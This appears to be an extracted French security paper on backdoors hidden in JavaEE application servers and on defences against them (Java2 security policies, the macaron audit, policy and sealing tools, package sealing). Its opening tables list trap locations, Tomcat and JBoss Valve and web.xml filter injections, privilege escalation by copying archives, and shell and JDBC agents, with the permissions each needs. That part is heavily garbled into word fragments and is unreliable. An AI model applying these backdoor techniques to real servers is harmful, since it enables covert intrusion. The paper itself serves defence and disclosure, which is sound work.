422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
